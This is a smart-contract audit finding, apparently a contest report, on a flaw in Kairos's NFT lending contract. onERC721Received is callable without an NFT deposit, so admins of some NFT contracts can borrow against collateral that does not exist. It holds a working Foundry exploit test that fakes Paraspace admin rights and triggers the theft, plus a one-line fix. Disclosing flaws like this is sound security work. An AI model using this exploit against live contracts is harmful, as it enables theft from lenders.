b4by_y0d4

high

# Various admin roles of NFT contracts can steal money from lender without depositing the NFT

## Summary
Any external party can directly call onERC721Received on BorrowFacet without depositing the NFT first. If the msg.sender is the address of the NFT contract for which there is a pending loan offer, the borrow will succeed but a repay, buy, and claim will not (since kairos will not possess ownership of the NFT).


## Vulnerability Detail
There are various contracts that allow specific admin roles to invoke arbitrary calls originating from the NFT contract. One example of this is the collaterized NFT issued by the Paraspace lending protocol (https://app.para.space). These contracts have the following function:

```solidity
 function executeAirdrop(
        address airdropContract,
        bytes calldata airdropParams
    ) external onlyPoolAdmin
```

See (https://docs.para.space/para-space/developer-docs/smart-contract-interfaces/ntoken)

So anyone who has the onlyPoolAdmin role, or manages to require the role through a vulnerability, will be able to call kairos' onERC721Received in a manner that will set the msg.sender as the address of the contract.

Another example is BendDAO's BNFT contracts (https://github.com/BendDAO/bend-lending-protocol/blob/main/contracts/interfaces/IBNFT.sol).

This issue uses Paraspace's NToken as an example to demonstrate the issue.


```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

import "forge-std/Test.sol";

import { External } from "test/Commons/External.sol";
import "src/Signature.sol";
import "src/DataStructure/Objects.sol";

interface PoolConfigurator {
  function unpausePool() external;
}

interface iNFT {
  function executeAirdrop(address to, bytes calldata data) external;
}

interface cAPE {
  function unpause() external;

  function paused() external returns (bool);

  function owner() external returns (address);
}

//Contract to patch the paraspace acl check for us to be PoolAdmin
contract FakeACL {
  function isPoolAdmin(address) public pure returns (bool) {
    return true;
  }
}

contract MyTests is External, Signature, IERC721Receiver {
  uint256 pkey = 1; //private key to generate the lender signature

  //this test assumes the role of PoolAdmin at ParaSpace ( https://app.para.space )
  //and then directly calls onERC721Received on kairos to steal the money
  //associated with a loan offer from a borrower

  function testParaspaceExecuteAirdrop() public {
    //address for the paraspaceBoundNFT
    //this NFT is minted whenever someone deposits the underlying NFT
    //and borrows against it
    //this particular one below is for MAYC as the underlying token
    iNFT paraspaceBoundNFT = iNFT(0xFA51cdc70c512c13eF1e4A3dbf1e99082b242896);

    //access control contract which is called upon by various paraspace contract
    //to check for roles of msg.sender
    //we will patch this with our FakeACL contract to simulate that we have
    //the PoolAdmin role
    address paraspace_acl = 0x42b0C49130162F949e82ba855C4eFF0C3Fd4C5cC;

    vm.prank(OWNER);
    //add minimum cost for DDos protection
    kairos.setMinOfferCost(IERC20(address(money)), 0.1 ether);

    vm.label(vm.addr(pkey), "LENDER");
    vm.label(address(kairos), "KAIROS");
    vm.label(address(paraspaceBoundNFT), "ParaspaceNFT");

    //lender payload and signature
    BorrowArg[] memory myargs = new BorrowArg[](1);
    myargs[0].nft.implem = IERC721(address(paraspaceBoundNFT));
    myargs[0].nft.id = 1234;

    myargs[0].args = new OfferArg[](1);
    myargs[0].args[0].amount = 10 ether;

    myargs[0].args[0].offer.assetToLend = money;
    myargs[0].args[0].offer.loanToValue = 10 ether;
    myargs[0].args[0].offer.duration = 2 weeks;
    myargs[0].args[0].offer.expirationDate = block.timestamp + 2 hours;
    myargs[0].args[0].offer.tranche = 0;

    myargs[0].args[0].offer.collateral.implem = IERC721(
      address(paraspaceBoundNFT)
    );
    myargs[0].args[0].offer.collateral.id = 1234;
    bytes32 mydigest = kairos.offerDigest(myargs[0].args[0].offer);

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(pkey, mydigest);

    myargs[0].args[0].signature = bytes.concat(r, s, bytes1(v));

    getFlooz(vm.addr(pkey), money, myargs[0].args[0].offer.loanToValue);

    //Patch the paraspace ACL contract so we can simulate
    //that we have the PoolAdmin role
    FakeACL fakeacl = new FakeACL();
    bytes memory code = address(fakeacl).code;
    vm.etch(paraspace_acl, code);

    vm.label(address(this), "ParaspacePoolAdmin");

    //paraspace is currently paused because of a recent incident
    // https://twitter.com/paraspace_nft/status/1637995427856547840
    //so let's unpause it for our simulation
    PoolConfigurator(0x11cE60Fc2F66A16DeAbAaE38a45f588D1BA9F436).unpausePool();

    if (cAPE(0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF).paused() == true)
      cAPE(0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF).unpause();

    //now that we will have the PoolAdmin role, let's call executeAirdrop
    //on the paraspace bound NFT
    //this function will call the  address supplied (kairos)
    //with the calldata supplied, in our case kairos.onERC721Received(....)

    //this in turn will cause kairos to trust that the tokenid exists and that it has been deposited
    //kairos will send the borrow amount from the lender to itself since we supply kairos'
    //address as the first parameter (operator) to it's onERC721Received
    paraspaceBoundNFT.executeAirdrop(
      address(kairos),
      abi.encodeWithSelector(
        kairos.onERC721Received.selector,
        address(kairos),
        address(0),
        1234,
        abi.encode(myargs[0].args)
      )
    );

    //fast forward 2 weeks (duration of loan)
    vm.warp(block.timestamp + myargs[0].args[0].offer.duration);

    //check the price
    uint256 price = kairos.price(1);

    //get the money buy
    getFlooz(address(this), money, price);

    //will revert since tokenid 1234 doesn't exist
    //if it did, it would revert because kairos doesn't own the token but it thinks it does
    //(so safeTransferFrom will fail from kairos to borrower)
    BuyArg[] memory buyarg = new BuyArg[](1);
    buyarg[0].loanId = 1;
    buyarg[0].to = address(this);

    kairos.buy(buyarg);
  }

  function onERC721Received(
    address,
    address,
    uint256,
    bytes memory
  ) public virtual override returns (bytes4) {
    return this.onERC721Received.selector;
  }

  receive() external payable {
    //console2.log("receive");
  }

  fallback() external payable {
    console2.log("fallback from", msg.sender);
  }
}

```

## Impact
The impact here is that should the PoolAdmin role or equivalent be compromised at Paraspace, or BendDAO, or any similar role at another existing NFT lending protocol or a future one (which uses a similar airdrop mechanism), the exploiter will not only be able to exploit that platform, but also Kairos to steal funds from lenders.

As the popularity of NFT lending platforms increases, this type of administrative functionality (ie executeAirdrop) will become more common. As the popularity of such platforms increases, users will want to also lend and borrow against these collateralized bound NFT tokens.


## Code Snippet
https://github.com/kairos-loan/kairos-contracts/blob/b2fd98d62cf0f25ee1db2bd551cd7b4606a5a988/src/BorrowFacet.sol#L21

## Tool used
Forge/foundry

Manual Review

## Recommendation
In BorrowFacet, check the ownership of the tokenid the first thing in onERC721Received:

```solidity
require(IERC721(msg.sender).ownerOf(tokenId) == address(this));
```

